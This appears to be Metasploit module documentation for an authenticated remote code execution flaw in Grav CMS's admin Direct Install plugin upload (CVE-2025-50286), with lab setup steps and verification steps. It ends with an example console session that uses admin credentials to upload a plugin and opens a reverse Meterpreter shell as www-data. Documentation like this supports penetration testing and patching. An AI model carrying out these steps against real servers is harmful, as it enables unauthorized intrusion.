## Vulnerable Application

Grav is a modern, open source flat-file content management system (CMS) built on PHP.
It uses a file-based architecture instead of a traditional database, storing content and configuration directly on disk.

This module exploits an authenticated Remote Code Execution vulnerability
in Grav CMS via the Admin panel’s Direct Install plugin functionality,
allowing arbitrary PHP execution.

An authenticated administrative user can upload a crafted plugin ZIP archive containing arbitrary PHP code.
Upon installation, the archive is extracted into the following directory:

```sh
user/plugins/<plugin_name>plugin/<plugin_name>plugin.php
```

Grav automatically loads plugin PHP files during initialization.
As a result, the malicious PHP file is executed in the context of the web server user
(typically `www-data`), leading to remote code execution.

No additional sandboxing or content validation is applied to plugin PHP files during the Direct Install workflow,
making this functionality inherently dangerous when access control boundaries are crossed.

## Affected Versions

**Vulnerable:** Grav CMS `1.1.x` -> `1.7.x` versions / Admin Plugin `v1.2.x` -> `v1.10.x`
**Tested:** Grav CMS v1.7.48, v1.7.49.5 / Admin Plugin v1.10.48, v1.10.49.3

### Installation

Official website:
https://getgrav.org/

Direct download archive (example version tested):
https://github.com/getgrav/grav/releases/tag/1.7.48

1. Install dependencies:

```sh
sudo apt update
sudo apt install apache2 php php-cli php-zip php-curl unzip -y
```

2. Download Grav:

``` sh
wget https://github.com/getgrav/grav/releases/download/1.7.48/grav-admin-v1.7.48.zip
unzip grav-admin-v1.7.48.zip
sudo mv grav-admin /var/www/html/grav
sudo chown -R www-data:www-data /var/www/html/grav
```

3. Visit the below and create an administrative user during setup.

```sh
http://<target>/grav/admin
```

4. Ensure:

- Admin plugin is enabled
- Direct Install functionality is available

## Verification Steps

1. Install Grav CMS with Admin plugin enabled as mentioned above.
2. Create an administrative user.
3. Start `msfconsole`.
4. Do: `use exploit/multi/http/grav_admin_direct_install_rce_cve_2025_50286`
5. Do: `set RHOSTS [target]`
6. Do: `set RPORT [Port]`
7. Do: `set USERNAME [username]`
8. Do: `set PASSWORD [password]`
9. Do: `check`
10. You should see the target is vulnerable

## Options

### USERNAME

Valid administrative username. `Required.`

### PASSWORD

Valid administrative password. `Required.`

## Scenarios
### Version Tested

Grav CMS: 1.7.48/1.7.49.5
Admin Plugin: 1.10.48/1.10.49.3
PHP: 8.1
Web Server: Apache 2.4

### Example: Exploiting Grav CMS v1.7.48 to get Meterpreter

```msf6
msf6 > use exploit/multi/http/grav_admin_direct_install_rce_cve_2025_50286
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set rhosts 192.168.1.12
rhosts => 192.168.1.12
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set rport 8080
rport => 8080
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set username x1o3
username => x1o3
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set password Real_Pass123
password => Real_Pass123
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
    - Grav CMS 1.7.49.5 is vulnerable
    - Admin Plugin v1.10.49.3 is vulnerable
[*] Authenticating to Grav admin...
[*] Authenticating...
[+] Already authenticated
[*] Uploading plugin via Direct Install...
[*] Sending stage (40004 bytes) to 172.18.0.2
[*] Cleaning up plugin directory: user/plugins/g02omdfkh89ki8zruwplugin
[+] Plugin directory removed
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.2:52520) at 2026-03-27 11:42:25 +0530

meterpreter > shell
Process 25 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

